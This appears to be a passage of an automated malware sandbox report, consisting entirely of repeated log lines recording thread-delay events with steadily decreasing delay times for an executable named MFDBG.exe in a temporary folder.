Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 591344	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 591172	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 590906	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 590594	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 590391	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 590203	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 589906	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 589342	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 589136	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 588943	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 588736	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 588500	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 588313	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 588063	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 587847	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 587682	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 587461	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 587031	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 586636	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 586436	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 586224	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 586049	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 585906	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 585703	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 585545	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 585344	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 585188	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 584988	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 584750	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 584125	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 583875	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 583699	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 583510	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 583328	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 583156	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 583014	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 582813	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 582656	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 582448	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 582281	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 582091	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 581360	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 581175	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 580969	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 580775	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 580531	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 580355	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 580232	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 580041	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 579874	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 579656	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 579480	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 578719	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 578469	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 578188	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 577969	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 577750	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 577531	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 577344	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 577140	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 576995	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 576797	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 576531	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 576000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 575719	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 575506	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 575360	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 575191	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 575014	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 574731	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 574559	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 574328	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 574141	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 573875	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 573313	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 573141	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 572953	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 572719	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 572544	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 572313	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 572156	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 571984	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 571811	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 571615	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 571438	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 570844	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 570578	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 570360	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 570141	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 569969	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 569753	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 569585	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 569399	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 569161	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 568960	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 568809	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 568601	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 568375	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 568172	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 567953	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 567750	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 567556	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 567340	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 567141	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 566975	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 566815	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 566607	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 566047	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 565841	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 565622	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 565442	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 565203	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 564953	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 564703	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 564556	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 564349	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 564078	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 563602	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 563478	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 563313	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 563087	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 562860	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 562660	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 562460	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 562268	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 562140	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 561966	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 561766	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 561512	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 561047	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 560813	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 560620	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 560446	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 560255	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 560074	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 559922	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 559766	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 559531	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 559365	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 559172	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 558969	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 558742	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 558516	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 558373	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 558172	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 558031	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 557839	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 557650	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 557422	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 557248	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 557093	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 556906	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 556759	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 556595	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 556406	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 556252	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 556078	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 555831	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 555599	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 555406	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 555236	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 555058	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 554902	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 554313	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 554181	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 554000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 553803	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 553594	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 553389	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 553192	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 552982	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 552780	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 552563	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 552313	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 551735	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 551545	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 551297	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 551141	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 550922	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 550750	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 550542	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 550357	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 550219	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 550047	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 549872	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 549683	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 549110	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 548828	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 548578	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 548375	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 548172	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 548009	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 547750	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 547563	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 547391	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 547203	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 546985	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 546391	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 546141	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 545906	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 545703	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 545516	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 545250	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 545063	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 544820	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 544516	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 543436	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 543147	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 542890	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 542700	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 542512	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 542250	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 542053	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 541883	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 541697	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 541485	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 541073	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 540875	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 540656	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 540443	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 540281	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 540078	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 539875	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 539672	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 539400	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 539180	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 538961	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 538500	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 538266	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 538066	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 537890	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 537672	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 537502	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 537344	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 537150	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 536938	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 536719	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 536547	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 536360	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 536176	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 536003	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 535766	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 535547	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 535383	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 535210	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 535016	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 534815	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 534640	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 534453	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Thread delayed: delay time: 534199	Jump to behavior
